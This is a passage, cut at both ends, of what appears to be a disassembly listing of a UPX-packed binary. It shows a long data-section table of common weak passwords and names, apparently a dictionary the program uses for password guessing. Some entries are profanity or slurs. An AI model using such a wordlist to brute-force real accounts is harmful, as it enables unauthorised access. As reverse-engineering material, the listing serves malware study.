'indiana',0 ; DATA XREF: UPX0:0042F3E0o aIndian db 'indian',0 ; DATA XREF: UPX0:0042F3DCo align 4 aIndia db 'india',0 ; DATA XREF: UPX0:0042F3D8o align 10h aInclude db 'include',0 ; DATA XREF: UPX0:0042F3D4o aImperial db 'imperial',0 ; DATA XREF: UPX0:0042F3D0o align 4 aImmortal db 'immortal',0 ; DATA XREF: UPX0:0042F3CCo align 10h aImbrogli db 'imbrogli',0 ; DATA XREF: UPX0:0042F3C8o align 4 aImage db 'image',0 ; DATA XREF: UPX0:0042F3C4o align 4 aIllumina db 'illumina',0 ; DATA XREF: UPX0:0042F3C0o align 10h aIcecream db 'icecream',0 ; DATA XREF: UPX0:0042F3BCo align 4 aHypertxt db 'hypertxt',0 ; DATA XREF: UPX0:0042F3B8o align 4 aHyper db 'hyper',0 ; DATA XREF: UPX0:0042F3B4o align 10h aHydrogen db 'hydrogen',0 ; DATA XREF: UPX0:0042F3B0o align 4 aHutchins db 'hutchins',0 ; DATA XREF: UPX0:0042F3ACo align 4 aHunter db 'hunter',0 ; DATA XREF: UPX0:0042F3A8o align 10h aHunt db 'hunt',0 ; DATA XREF: UPX0:0042F3A4o align 4 aHttp_0 db 'http',0 ; DATA XREF: UPX0:0042F3A0o align 10h aHotel db 'hotel',0 ; DATA XREF: UPX0:0042F39Co align 4 aHotdog db 'hotdog',0 ; DATA XREF: UPX0:0042F398o align 10h aHost db 'host',0 ; DATA XREF: UPX0:0042F394o align 4 aHorus db 'horus',0 ; DATA XREF: UPX0:0042F390o align 10h aHorse db 'horse',0 ; DATA XREF: UPX0:0042F38Co align 4 aHorror db 'horror',0 ; DATA XREF: UPX0:0042F388o align 10h aHorrible db 'horrible',0 ; DATA XREF: UPX0:0042F384o align 4 aHorny db 'horny',0 ; DATA XREF: UPX0:0042F380o align 4 aHooters db 'hooters',0 ; DATA XREF: UPX0:0042F37Co aHooker db 'hooker',0 ; DATA XREF: UPX0:0042F378o align 4 aHoney db 'honey',0 ; DATA XREF: UPX0:0042F374o align 4 aHomework db 'homework',0 ; DATA XREF: UPX0:0042F370o align 4 aHomer db 'homer',0 ; DATA XREF: UPX0:0042F36Co align 10h aHomepage db 'homepage',0 ; DATA XREF: UPX0:0042F368o align 4 aHollywoo db 'hollywoo',0 ; DATA XREF: UPX0:0042F364o align 4 aHolly db 'holly',0 ; DATA XREF: UPX0:0042F360o align 10h aHole db 'hole',0 ; DATA XREF: UPX0:0042F35Co align 4 aHits db 'hits',0 ; DATA XREF: UPX0:0042F358o align 10h aHitler db 'hitler',0 ; DATA XREF: UPX0:0042F354o align 4 aHighland db 'highland',0 ; DATA XREF: UPX0:0042F350o align 4 aHigh db 'high',0 ; DATA XREF: UPX0:0042F34Co align 4 aHidden db 'hidden',0 ; DATA XREF: UPX0:0042F348o align 4 aHibernia db 'hibernia',0 ; DATA XREF: UPX0:0042F344o align 10h aHiawatha db 'hiawatha',0 ; DATA XREF: UPX0:0042F340o align 4 aHexadeci db 'hexadeci',0 ; DATA XREF: UPX0:0042F33Co align 4 aHewlett db 'hewlett',0 ; DATA XREF: UPX0:0042F338o aHeroin db 'heroin',0 ; DATA XREF: UPX0:0042F334o align 4 aHero db 'hero',0 ; DATA XREF: UPX0:0042F330o align 10h aHerbert db 'herbert',0 ; DATA XREF: UPX0:0042F32Co aHerb db 'herb',0 ; DATA XREF: UPX0:0042F328o align 10h aHelp db 'help',0 ; DATA XREF: UPX0:0042F324o align 4 aHello db 'hello',0 ; DATA XREF: UPX0:0042F320o align 10h aHell db 'hell',0 ; DATA XREF: UPX0:0042F31Co align 4 aHeinlein db 'heinlein',0 ; DATA XREF: UPX0:0042F318o align 4 aHeidi db 'heidi',0 ; DATA XREF: UPX0:0042F314o align 4 aHebrides db 'hebrides',0 ; DATA XREF: UPX0:0042F310o align 4 aHeather db 'heather',0 ; DATA XREF: UPX0:0042F30Co aHeathen db 'heathen',0 ; DATA XREF: UPX0:0042F308o aHeat db 'heat',0 ; DATA XREF: UPX0:0042F304o align 10h aHeadbang db 'headbang',0 ; DATA XREF: UPX0:0042F300o align 4 aHead db 'head',0 ; DATA XREF: UPX0:0042F2FCo align 4 aHawaii db 'hawaii',0 ; DATA XREF: UPX0:0042F2F8o align 4 aHaven db 'haven',0 ; DATA XREF: UPX0:0042F2F4o align 4 aHate db 'hate',0 ; DATA XREF: UPX0:0042F2F0o align 4 aHarvey db 'harvey',0 ; DATA XREF: UPX0:0042F2ECo align 4 aHarold db 'harold',0 ; DATA XREF: UPX0:0042F2E8o align 4 aHarmony db 'harmony',0 ; DATA XREF: UPX0:0042F2E4o aHarddriv db 'harddriv',0 ; DATA XREF: UPX0:0042F2E0o align 10h aHardcore db 'hardcore',0 ; DATA XREF: UPX0:0042F2DCo align 4 aHard db 'hard',0 ; DATA XREF: UPX0:0042F2D8o align 4 aHappenin db 'happenin',0 ; DATA XREF: UPX0:0042F2D4o align 10h aHandjob db 'handjob',0 ; DATA XREF: UPX0:0042F2D0o aHandily db 'handily',0 ; DATA XREF: UPX0:0042F2CCo aHandel db 'handel',0 ; DATA XREF: UPX0:0042F2C8o align 4 aHamster db 'hamster',0 ; DATA XREF: UPX0:0042F2C4o aHamlet db 'hamlet',0 ; DATA XREF: UPX0:0042F2C0o align 4 aHallowee db 'hallowee',0 ; DATA XREF: UPX0:0042F2BCo align 4 aHair db 'hair',0 ; DATA XREF: UPX0:0042F2B8o align 4 aHagar db 'hagar',0 ; DATA XREF: UPX0:0042F2B4o align 4 aHacked db 'hacked',0 ; DATA XREF: UPX0:0042F2B0o align 4 aHack db 'hack',0 ; DATA XREF: UPX0:0042F2ACo align 4 aGuntis db 'guntis',0 ; DATA XREF: UPX0:0042F2A8o align 4 aGumption db 'gumption',0 ; DATA XREF: UPX0:0042F2A4o align 4 aGuitar db 'guitar',0 ; DATA XREF: UPX0:0042F2A0o align 10h aGuess db 'guess',0 ; DATA XREF: UPX0:0042F29Co align 4 aGucci db 'gucci',0 ; DATA XREF: UPX0:0042F298o align 10h aGuardian db 'guardian',0 ; DATA XREF: UPX0:0042F294o align 4 aGryphon db 'gryphon',0 ; DATA XREF: UPX0:0042F290o aGroup db 'group',0 ; DATA XREF: UPX0:0042F28Co align 4 aGreen db 'green',0 ; DATA XREF: UPX0:0042F288o align 4 aGreat db 'great',0 ; DATA XREF: UPX0:0042F284o align 4 aGrant db 'grant',0 ; DATA XREF: UPX0:0042F280o align 4 aGrand db 'grand',0 ; DATA XREF: UPX0:0042F27Co align 4 aGrahm db 'grahm',0 ; DATA XREF: UPX0:0042F278o align 4 aGraham db 'graham',0 ; DATA XREF: UPX0:0042F274o align 4 aGrades db 'grades',0 ; DATA XREF: UPX0:0042F270o align 4 aGovermen db 'govermen',0 ; DATA XREF: UPX0:0042F26Co align 10h aGouge db 'gouge',0 ; DATA XREF: UPX0:0042F268o align 4 aGosling db 'gosling',0 ; DATA XREF: UPX0:0042F264o aGorges db 'gorges',0 ; DATA XREF: UPX0:0042F260o align 4 aGorgeous db 'gorgeous',0 ; DATA XREF: UPX0:0042F25Co align 4 aGood db 'good',0 ; DATA XREF: UPX0:0042F258o align 4 aGolfer db 'golfer',0 ; DATA XREF: UPX0:0042F254o align 4 aGolf db 'golf',0 ; DATA XREF: UPX0:0042F250o align 4 aGolden db 'golden',0 ; DATA XREF: UPX0:0042F24Co align 4 aGold db 'gold',0 ; DATA XREF: UPX0:0042F248o align 4 aGlacier db 'glacier',0 ; DATA XREF: UPX0:0042F244o aGirl db 'girl',0 ; DATA XREF: UPX0:0042F240o align 4 aGinger db 'ginger',0 ; DATA XREF: UPX0:0042F23Co align 4 aGina db 'gina',0 ; DATA XREF: UPX0:0042F238o align 4 aGigabyte db 'gigabyte',0 ; DATA XREF: UPX0:0042F234o align 4 aGibson db 'gibson',0 ; DATA XREF: UPX0:0042F230o align 10h aGhost db 'ghost',0 ; DATA XREF: UPX0:0042F22Co align 4 aGertrude db 'gertrude',0 ; DATA XREF: UPX0:0042F228o align 4 aGerm db 'germ',0 ; DATA XREF: UPX0:0042F224o align 4 aGeorge db 'george',0 ; DATA XREF: UPX0:0042F220o align 4 aGauss db 'gauss',0 ; DATA XREF: UPX0:0042F21Co align 4 aGatt db 'gatt',0 ; DATA XREF: UPX0:0042F218o align 4 aGatherin db 'gatherin',0 ; DATA XREF: UPX0:0042F214o align 10h aGateway db 'gateway',0 ; DATA XREF: UPX0:0042F210o aGarfield db 'garfield',0 ; DATA XREF: UPX0:0042F20Co align 4 aGardner db 'gardner',0 ; DATA XREF: UPX0:0042F208o aGames db 'games',0 ; DATA XREF: UPX0:0042F204o align 4 aGabriel db 'gabriel',0 ; DATA XREF: UPX0:0042F200o aFungible db 'fungible',0 ; DATA XREF: UPX0:0042F1FCo align 4 aFunction db 'function',0 ; DATA XREF: UPX0:0042F1F8o align 4 aFudge db 'fudge',0 ; DATA XREF: UPX0:0042F1F4o align 4 aFuckyou db 'fuckyou',0 ; DATA XREF: UPX0:0042F1F0o aFuckme db 'fuckme',0 ; DATA XREF: UPX0:0042F1ECo align 4 aFucking db 'fucking',0 ; DATA XREF: UPX0:0042F1E8o aFucker db 'fucker',0 ; DATA XREF: UPX0:0042F1E4o align 4 aFuck db 'fuck',0 ; DATA XREF: UPX0:0042F1E0o align 4 aFryguy db 'fryguy',0 ; DATA XREF: UPX0:0042F1DCo align 4 aFrog db 'frog',0 ; DATA XREF: UPX0:0042F1D8o align 4 aFrighten db 'frighten',0 ; DATA XREF: UPX0:0042F1D4o align 10h aFriends db 'friends',0 ; DATA XREF: UPX0:0042F1D0o aFriend db 'friend',0 ; DATA XREF: UPX0:0042F1CCo align 10h aFriday db 'friday',0 ; DATA XREF: UPX0:0042F1C8o align 4 aFrench db 'french',0 ; DATA XREF: UPX0:0042F1C4o align 10h aFreedom db 'freedom',0 ; DATA XREF: UPX0:0042F1C0o aFree db 'free',0 ; DATA XREF: UPX0:0042F1BCo align 10h aFred db 'fred',0 ; DATA XREF: UPX0:0042F1B8o align 4 aFreak db 'freak',0 ; DATA XREF: UPX0:0042F1B4o align 10h aFrank db 'frank',0 ; DATA XREF: UPX0:0042F1B0o align 4 aFrance db 'france',0 ; DATA XREF: UPX0:0042F1ACo align 10h aFoxtrot db 'foxtrot',0 ; DATA XREF: UPX0:0042F1A8o aFourier db 'fourier',0 ; DATA XREF: UPX0:0042F1A4o aForsythe db 'forsythe',0 ; DATA XREF: UPX0:0042F1A0o align 4 aFornicat db 'fornicat',0 ; DATA XREF: UPX0:0042F19Co align 4 aFormat db 'format',0 ; DATA XREF: UPX0:0042F198o align 10h aForm db 'form',0 ; DATA XREF: UPX0:0042F194o align 4 aForever db 'forever',0 ; DATA XREF: UPX0:0042F190o aForesigh db 'foresigh',0 ; DATA XREF: UPX0:0042F18Co align 4 aFord db 'ford',0 ; DATA XREF: UPX0:0042F188o align 4 aForce db 'force',0 ; DATA XREF: UPX0:0042F184o align 4 aFootball db 'football',0 ; DATA XREF: UPX0:0042F180o align 4 aFoolproo db 'foolproo',0 ; DATA XREF: UPX0:0042F17Co align 4 aFool db 'fool',0 ; DATA XREF: UPX0:0042F178o align 4 aFood db 'food',0 ; DATA XREF: UPX0:0042F174o align 4 aFlowers db 'flowers',0 ; DATA XREF: UPX0:0042F170o aFlower db 'flower',0 ; DATA XREF: UPX0:0042F16Co align 4 aFlorida db 'florida',0 ; DATA XREF: UPX0:0042F168o aFloat db 'float',0 ; DATA XREF: UPX0:0042F164o align 4 aFlakes db 'flakes',0 ; DATA XREF: UPX0:0042F160o align 4 aFishers db 'fishers',0 ; DATA XREF: UPX0:0042F15Co aFirewall db 'firewall',0 ; DATA XREF: UPX0:0042F158o align 10h aFire db 'fire',0 ; DATA XREF: UPX0:0042F154o align 4 aFinite db 'finite',0 ; DATA XREF: UPX0:0042F150o align 10h ; char aFile[] aFile db 'file',0 ; DATA XREF: sub_40EE51+1E72o ; sub_40EE51+1EE8o ... align 4 aFight db 'fight',0 ; DATA XREF: UPX0:0042F148o align 10h aField db 'field',0 ; DATA XREF: UPX0:0042F144o align 4 aFidelity db 'fidelity',0 ; DATA XREF: UPX0:0042F140o align 4 aFerrari db 'ferrari',0 ; DATA XREF: UPX0:0042F13Co aFermat db 'fermat',0 ; DATA XREF: UPX0:0042F138o align 4 aFender db 'fender',0 ; DATA XREF: UPX0:0042F134o align 4 aFelicia db 'felicia',0 ; DATA XREF: UPX0:0042F130o aFeds db 'feds',0 ; DATA XREF: UPX0:0042F12Co align 4 aFear db 'fear',0 ; DATA XREF: UPX0:0042F128o align 4 aFast db 'fast',0 ; DATA XREF: UPX0:0042F124o align 4 aFart db 'fart',0 ; DATA XREF: UPX0:0042F120o align 4 aFaraday db 'faraday',0 ; DATA XREF: UPX0:0042F11Co aFarad db 'farad',0 ; DATA XREF: UPX0:0042F118o align 4 aFamily db 'family',0 ; DATA XREF: UPX0:0042F114o align 4 aFalse db 'false',0 ; DATA XREF: UPX0:0042F110o align 4 aFalcon db 'falcon',0 ; DATA XREF: UPX0:0042F10Co align 4 aFaith db 'faith',0 ; DATA XREF: UPX0:0042F108o align 4 aFairway db 'fairway',0 ; DATA XREF: UPX0:0042F104o aExtensio db 'extensio',0 ; DATA XREF: UPX0:0042F100o align 4 aExplosiv db 'explosiv',0 ; DATA XREF: UPX0:0042F0FCo align 4 aExplorer db 'explorer',0 ; DATA XREF: UPX0:0042F0F8o align 10h aExplore db 'explore',0 ; DATA XREF: UPX0:0042F0F4o aExplode db 'explode',0 ; DATA XREF: UPX0:0042F0F0o aExpert db 'expert',0 ; DATA XREF: UPX0:0042F0ECo align 4 aEvelyn db 'evelyn',0 ; DATA XREF: UPX0:0042F0E8o align 10h aEuclid db 'euclid',0 ; DATA XREF: UPX0:0042F0E4o align 4 aEternity db 'eternity',0 ; DATA XREF: UPX0:0042F0E0o align 4 aEstate db 'estate',0 ; DATA XREF: UPX0:0042F0DCo align 4 aEstablis db 'establis',0 ; DATA XREF: UPX0:0042F0D8o align 4 aErsatz db 'ersatz',0 ; DATA XREF: UPX0:0042F0D4o align 10h aErotic db 'erotic',0 ; DATA XREF: UPX0:0042F0D0o align 4 aErin db 'erin',0 ; DATA XREF: UPX0:0042F0CCo align 10h aErika db 'erika',0 ; DATA XREF: UPX0:0042F0C8o align 4 aErica db 'erica',0 ; DATA XREF: UPX0:0042F0C4o align 10h aEric db 'eric',0 ; DATA XREF: UPX0:0042F0C0o align 4 aErenity db 'erenity',0 ; DATA XREF: UPX0:0042F0BCo aEnzyme db 'enzyme',0 ; DATA XREF: UPX0:0042F0B8o align 4 aEnterpri db 'enterpri',0 ; DATA XREF: UPX0:0042F0B4o align 4 aEnter db 'enter',0 ; DATA XREF: UPX0:0042F0B0o align 4 aEnglish db 'english',0 ; DATA XREF: UPX0:0042F0ACo aEngland db 'england',0 ; DATA XREF: UPX0:0042F0A8o aEngineer db 'engineer',0 ; DATA XREF: UPX0:0042F0A4o align 4 aEngine db 'engine',0 ; DATA XREF: UPX0:0042F0A0o align 10h aEnemy db 'enemy',0 ; DATA XREF: UPX0:0042F09Co align 4 aEmmanuel db 'emmanuel',0 ; DATA XREF: UPX0:0042F098o align 4 aEmily db 'emily',0 ; DATA XREF: UPX0:0042F094o align 4 aEmerald db 'emerald',0 ; DATA XREF: UPX0:0042F090o aEmail db 'email',0 ; DATA XREF: UPX0:0042F08Co align 4 aEllen db 'ellen',0 ; DATA XREF: UPX0:0042F088o align 4 aElizabet db 'elizabet',0 ; DATA XREF: UPX0:0042F084o align 10h aElephant db 'elephant',0 ; DATA XREF: UPX0:0042F080o align 4 aElectron db 'electron',0 ; DATA XREF: UPX0:0042F07Co align 4 aElanor db 'elanor',0 ; DATA XREF: UPX0:0042F078o align 10h aElaine db 'elaine',0 ; DATA XREF: UPX0:0042F074o align 4 aEinstein db 'einstein',0 ; DATA XREF: UPX0:0042F070o align 4 aEinsiein db 'einsiein',0 ; DATA XREF: UPX0:0042F06Co align 10h aEileen db 'eileen',0 ; DATA XREF: UPX0:0042F068o align 4 aEiderdow db 'eiderdow',0 ; DATA XREF: UPX0:0042F064o align 4 aEgghead db 'egghead',0 ; DATA XREF: UPX0:0042F060o aEdwina db 'edwina',0 ; DATA XREF: UPX0:0042F05Co align 4 aEdwin db 'edwin',0 ; DATA XREF: UPX0:0042F058o align 4 aEducatio db 'educatio',0 ; DATA XREF: UPX0:0042F054o align 4 aEducation db 'education',0 ; DATA XREF: UPX0:0042F050o align 4 aEdition db 'edition',0 ; DATA XREF: UPX0:0042F04Co aEdit db 'edit',0 ; DATA XREF: UPX0:0042F048o align 4 aEdinburg db 'edinburg',0 ; DATA XREF: UPX0:0042F044o align 10h aEdges db 'edges',0 ; DATA XREF: UPX0:0042F040o align 4 aEddie db 'eddie',0 ; DATA XREF: UPX0:0042F03Co align 10h aEcho db 'echo',0 ; DATA XREF: UPX0:0042F038o align 4 aEatme db 'eatme',0 ; DATA XREF: UPX0:0042F034o align 10h aEasy db 'easy',0 ; DATA XREF: UPX0:0042F030o align 4 aEasier db 'easier',0 ; DATA XREF: UPX0:0042F02Co align 10h aEarth db 'earth',0 ; DATA XREF: UPX0:0042F028o align 4 aEagle db 'eagle',0 ; DATA XREF: UPX0:0042F024o align 10h aEager db 'eager',0 ; DATA XREF: UPX0:0042F020o align 4 aDyke db 'dyke',0 ; DATA XREF: UPX0:0042F01Co align 10h aDungeon db 'dungeon',0 ; DATA XREF: UPX0:0042F018o aDuncan db 'duncan',0 ; DATA XREF: UPX0:0042F014o align 10h aDulce db 'dulce',0 ; DATA XREF: UPX0:0042F010o align 4 aDuke db 'duke',0 ; DATA XREF: UPX0:0042F00Co align 10h aDuelist db 'duelist',0 ; DATA XREF: UPX0:0042F008o aDude db 'dude',0 ; DATA XREF: UPX0:0042F004o align 10h aDuck db 'duck',0 ; DATA XREF: UPX0:0042F000o align 4 aDrought db 'drought',0 ; DATA XREF: UPX0:0042EFFCo aDrive db 'drive',0 ; DATA XREF: UPX0:0042EFF8o align 4 aDrdoom db 'drdoom',0 ; DATA XREF: UPX0:0042EFF4o align 10h aDragon db 'dragon',0 ; DATA XREF: UPX0:0042EFF0o align 4 aDownload db 'download',0 ; DATA XREF: UPX0:0042EFECo align 4 aDope db 'dope',0 ; DATA XREF: UPX0:0042EFE8o align 4 aDoors db 'doors',0 ; DATA XREF: UPX0:0042EFE4o align 4 aDoor db 'door',0 ; DATA XREF: UPX0:0042EFE0o align 4 aDoonesbu db 'doonesbu',0 ; DATA XREF: UPX0:0042EFDCo align 4 aDoomsday db 'doomsday',0 ; DATA XREF: UPX0:0042EFD8o align 4 aDoomii db 'doomii',0 ; DATA XREF: UPX0:0042EFD4o align 4 aDoom2 db 'doom2',0 ; DATA XREF: UPX0:0042EFD0o align 4 aDoom db 'doom',0 ; DATA XREF: UPX0:0042EFCCo align 4 aDong db 'dong',0 ; DATA XREF: UPX0:0042EFC8o align 4 aDollar db 'dollar',0 ; DATA XREF: UPX0:0042EFC4o align 4 aDoctor db 'doctor',0 ; DATA XREF: UPX0:0042EFC0o align 4 aDisplay_1 db 'display',0 ; DATA XREF: UPX0:0042EFBCo aDisney db 'disney',0 ; DATA XREF: UPX0:0042EFB8o align 4 aDiskette db 'diskette',0 ; DATA XREF: UPX0:0042EFB4o align 10h aDisk_0 db 'disk',0 ; DATA XREF: UPX0:0042EFB0o align 4 aDiscover db 'discover',0 ; DATA XREF: UPX0:0042EFACo align 4 aDisclose db 'disclose',0 ; DATA XREF: UPX0:0042EFA8o align 10h aDiscipli db 'discipli',0 ; DATA XREF: UPX0:0042EFA4o align 4 aDisc db 'disc',0 ; DATA XREF: UPX0:0042EFA0o align 4 aDirty db 'dirty',0 ; DATA XREF: UPX0:0042EF9Co align 4 aDirector db 'director',0 ; DATA XREF: UPX0:0042EF98o align 4 aDirect db 'direct',0 ; DATA XREF: UPX0:0042EF94o align 10h aDipshit db 'dipshit',0 ; DATA XREF: UPX0:0042EF90o aDinosaur db 'dinosaur',0 ; DATA XREF: UPX0:0042EF8Co align 4 aDigital db 'digital',0 ; DATA XREF: UPX0:0042EF88o aDieter db 'dieter',0 ; DATA XREF: UPX0:0042EF84o align 4 aDiet db 'diet',0 ; DATA XREF: UPX0:0042EF80o align 4 aDiehard db 'diehard',0 ; DATA XREF: UPX0:0042EF7Co aDick db 'dick',0 ; DATA XREF: UPX0:0042EF78o align 4 aDice db 'dice',0 ; DATA XREF: UPX0:0042EF74o align 4 aDiane db 'diane',0 ; DATA XREF: UPX0:0042EF70o align 4 aDiana db 'diana',0 ; DATA XREF: UPX0:0042EF6Co align 4 aDiamond db 'diamond',0 ; DATA XREF: UPX0:0042EF68o aDial db 'dial',0 ; DATA XREF: UPX0:0042EF64o align 4 aDevice db 'device',0 ; DATA XREF: UPX0:0042EF60o align 4 aDevelop db 'develop',0 ; DATA XREF: UPX0:0042EF5Co aDesperat db 'desperat',0 ; DATA XREF: UPX0:0042EF58o align 10h aDesktop db 'desktop',0 ; DATA XREF: UPX0:0042EF54o aDesk db 'desk',0 ; DATA XREF: UPX0:0042EF50o align 10h aDesiree db 'desiree',0 ; DATA XREF: UPX0:0042EF4Co aDennis db 'dennis',0 ; DATA XREF: UPX0:0042EF48o align 10h aDenise db 'denise',0 ; DATA XREF: UPX0:0042EF44o align 4 aDemocrat db 'democrat',0 ; DATA XREF: UPX0:0042EF40o align 4 aDeluge db 'deluge',0 ; DATA XREF: UPX0:0042EF3Co align 4 aDelta db 'delta',0 ; DATA XREF: UPX0:0042EF38o align 4 aDefoe db 'defoe',0 ; DATA XREF: UPX0:0042EF34o align 4 aDefault_0 db 'DEFAULT',0 ; DATA XREF: UPX0:0042EF30o aDeck db 'deck',0 ; DATA XREF: UPX0:0042EF28o align 4 aDecember db 'december',0 ; DATA XREF: UPX0:0042EF24o align 4 aDebug db 'debug',0 ; DATA XREF: UPX0:0042EF20o align 10h aDeborah db 'deborah',0 ; DATA XREF: UPX0:0042EF1Co aDebbie db 'debbie',0 ; DATA XREF: UPX0:0042EF18o align 10h aDeathsta db 'deathsta',0 ; DATA XREF: UPX0:0042EF14o align 4 aDead db 'dead',0 ; DATA XREF: UPX0:0042EF10o align 4 aDawn db 'dawn',0 ; DATA XREF: UPX0:0042EF0Co align 4 aDave db 'dave',0 ; DATA XREF: UPX0:0042EF08o align 4 aData db 'data',0 ; DATA XREF: UPX0:0042EF04o align 4 aDarkaven db 'darkaven',0 ; DATA XREF: UPX0:0042EF00o align 4 aDark db 'dark',0 ; DATA XREF: UPX0:0042EEFCo align 10h aDapper db 'dapper',0 ; DATA XREF: UPX0:0042EEF8o align 4 aDanny db 'danny',0 ; DATA XREF: UPX0:0042EEF4o align 10h aDanielle db 'danielle',0 ; DATA XREF: UPX0:0042EEF0o align 4 aDaniel db 'daniel',0 ; DATA XREF: UPX0:0042EEECo align 4 aDancer db 'dancer',0 ; DATA XREF: UPX0:0042EEE8o align 4 aDana db 'dana',0 ; DATA XREF: UPX0:0042EEE4o align 4 aDaisy db 'daisy',0 ; DATA XREF: UPX0:0042EEE0o align 4 aDaemon db 'daemon',0 ; DATA XREF: UPX0:0042EEDCo align 4 aCynthia db 'cynthia',0 ; DATA XREF: UPX0:0042EED8o aCyberspa db 'cyberspa',0 ; DATA XREF: UPX0:0042EED4o align 4 aCyberpun db 'cyberpun',0 ; DATA XREF: UPX0:0042EED0o align 4 aCyber db 'cyber',0 ; DATA XREF: UPX0:0042EECCo align 4 aCustomer db 'customer',0 ; DATA XREF: UPX0:0042EEC8o align 4 aCunt db 'cunt',0 ; DATA XREF: UPX0:0042EEC4o align 10h aCshrc db 'cshrc',0 ; DATA XREF: UPX0:0042EEC0o align 4 aCrystal db 'crystal',0 ; DATA XREF: UPX0:0042EEBCo aCristina db 'cristina',0 ; DATA XREF: UPX0:0042EEB8o align 4 aCriminal db 'criminal',0 ; DATA XREF: UPX0:0042EEB4o align 4 aCrime db 'crime',0 ; DATA XREF: UPX0:0042EEB0o align 10h aCretin db 'cretin',0 ; DATA XREF: UPX0:0042EEACo align 4 aCreosote db 'creosote',0 ; DATA XREF: UPX0:0042EEA8o align 4 aCredit db 'credit',0 ; DATA XREF: UPX0:0042EEA4o align 4 aCreature db 'creature',0 ; DATA XREF: UPX0:0042EEA0o align 4 aCreation db 'creation',0 ; DATA XREF: UPX0:0042EE9Co align 4 aCreate db 'create',0 ; DATA XREF: UPX0:0042EE98o align 4 aCream db 'cream',0 ; DATA XREF: UPX0:0042EE94o align 4 aCrackpot db 'crackpot',0 ; DATA XREF: UPX0:0042EE90o align 10h aCrack db 'crack',0 ; DATA XREF: UPX0:0042EE8Co align 4 aCowboy db 'cowboy',0 ; DATA XREF: UPX0:0042EE88o align 10h aCouscous db 'couscous',0 ; DATA XREF: UPX0:0042EE84o align 4 aCountry db 'country',0 ; DATA XREF: UPX0:0042EE80o aCounters db 'counters',0 ; DATA XREF: UPX0:0042EE7Co align 10h aCorrect db 'correct',0 ; DATA XREF: UPX0:0042EE78o aCorneliu db 'corneliu',0 ; DATA XREF: UPX0:0042EE74o align 4 aCopy db 'copy',0 ; DATA XREF: UPX0:0042EE70o align 4 aCops db 'cops',0 ; DATA XREF: UPX0:0042EE6Co align 4 aCopper db 'copper',0 ; DATA XREF: UPX0:0042EE68o align 4 aCooper db 'cooper',0 ; DATA XREF: UPX0:0042EE64o align 4 aCool_0 db 'cool',0 ; DATA XREF: UPX0:0042EE60o align 4 aCookie db 'cookie',0 ; DATA XREF: UPX0:0042EE5Co align 4 aCookbook db 'cookbook',0 ; DATA XREF: UPX0:0042EE58o align 10h aCook db 'cook',0 ; DATA XREF: UPX0:0042EE54o align 4 ; char aContinue[] aContinue db 'continue',0 ; DATA XREF: sub_40EE51+20EBo ; UPX0:0042EE50o align 4 aConsole db 'console',0 ; DATA XREF: UPX0:0042EE4Co aConserva db 'conserva',0 ; DATA XREF: UPX0:0042EE48o align 4 aConnie db 'connie',0 ; DATA XREF: UPX0:0042EE44o align 10h aCondom db 'condom',0 align 4 aCondo db 'condo',0 align 10h aComrades db 'comrades',0 align 4 aComrade db 'comrade',0 aComputin db 'computin',0 align 10h aCompany db 'company',0 aCommrade db 'commrade',0 ; DATA XREF: UPX0:0042EE24o align 4 aCommit db 'commit',0 ; DATA XREF: UPX0:0042EE20o align 4 aComics db 'comics',0 ; DATA XREF: UPX0:0042EE1Co align 4 aCombat db 'combat',0 ; DATA XREF: UPX0:0042EE18o align 4 aColor db 'color',0 ; DATA XREF: UPX0:0042EE14o align 4 aCollins db 'collins',0 ; DATA XREF: UPX0:0042EE10o aCold db 'cold',0 ; DATA XREF: UPX0:0042EE0Co align 4 aCola db 'cola',0 ; DATA XREF: UPX0:0042EE08o align 4 aCoke db 'coke',0 ; DATA XREF: UPX0:0042EE04o align 4 aCoin db 'coin',0 ; DATA XREF: UPX0:0042EE00o align 4 aCoffee db 'coffee',0 ; DATA XREF: UPX0:0042EDFCo align 4 aCodeword db 'codeword',0 ; DATA XREF: UPX0:0042EDF8o align 10h aCodename db 'codename',0 ; DATA XREF: UPX0:0042EDF4o align 4 aCode db 'code',0 ; DATA XREF: UPX0:0042EDF0o align 4 aCock db 'cock',0 ; DATA XREF: UPX0:0042EDECo align 4 aCocainco db 'cocainco',0 ; DATA XREF: UPX0:0042EDE8o align 4 aCocacola db 'cocacola',0 ; DATA XREF: UPX0:0042EDE4o align 4 aCoast db 'coast',0 ; DATA XREF: UPX0:0042EDE0o align 4 aClusters db 'clusters',0 ; DATA XREF: UPX0:0042EDDCo align 4 aCluster db 'cluster',0 ; DATA XREF: UPX0:0042EDD8o aClinton db 'clinton',0 ; DATA XREF: UPX0:0042EDD4o aCleavage db 'cleavage',0 ; DATA XREF: UPX0:0042EDD0o align 4 aClaymore db 'claymore',0 ; DATA XREF: UPX0:0042EDCCo align 10h aClaudia db 'claudia',0 ; DATA XREF: UPX0:0042EDC8o aClassic db 'classic',0 ; DATA XREF: UPX0:0042EDC4o aClasses db 'classes',0 ; DATA XREF: UPX0:0042EDC0o aClass db 'class',0 ; DATA XREF: UPX0:0042EDBCo align 10h aCindy db 'cindy',0 ; DATA XREF: UPX0:0042EDB8o align 4 aCigarett db 'cigarett',0 ; DATA XREF: UPX0:0042EDB4o align 4 aCigar db 'cigar',0 ; DATA XREF: UPX0:0042EDB0o align 4 aChristy db 'christy',0 ; DATA XREF: UPX0:0042EDACo aChristin db 'christin',0 ; DATA XREF: UPX0:0042EDA8o align 10h aChris db 'chris',0 ; DATA XREF: UPX0:0042EDA4o align 4 aChip db 'chip',0 ; DATA XREF: UPX0:0042EDA0o align 10h aChester db 'chester',0 ; DATA XREF: UPX0:0042ED9Co aChess db 'chess',0 ; DATA XREF: UPX0:0042ED98o align 10h aChemistr db 'chemistr',0 ; DATA XREF: UPX0:0042ED94o align 4 aChem db 'chem',0 ; DATA XREF: UPX0:0042ED90o align 4 aChat_0 db 'chat',0 ; DATA XREF: UPX0:0042ED8Co align 4 aCharon db 'charon',0 ; DATA XREF: UPX0:0042ED88o align 4 aCharming db 'charming',0 ; DATA XREF: UPX0:0042ED84o align 10h aCharlie db 'charlie',0 ; DATA XREF: UPX0:0042ED80o aCharles db 'charles',0 ; DATA XREF: UPX0:0042ED7Co aCharity db 'charity',0 ; DATA XREF: UPX0:0042ED78o aChange db 'change',0 ; DATA XREF: UPX0:0042ED74o align 10h aCerulean db 'cerulean',0 ; DATA XREF: UPX0:0042ED70o align 4 aCeltics db 'celtics',0 ; DATA XREF: UPX0:0042ED6Co aCeltic db 'celtic',0 ; DATA XREF: UPX0:0042ED68o align 4 aCelt db 'celt',0 ; DATA XREF: UPX0:0042ED64o align 4 aCecily db 'cecily',0 ; DATA 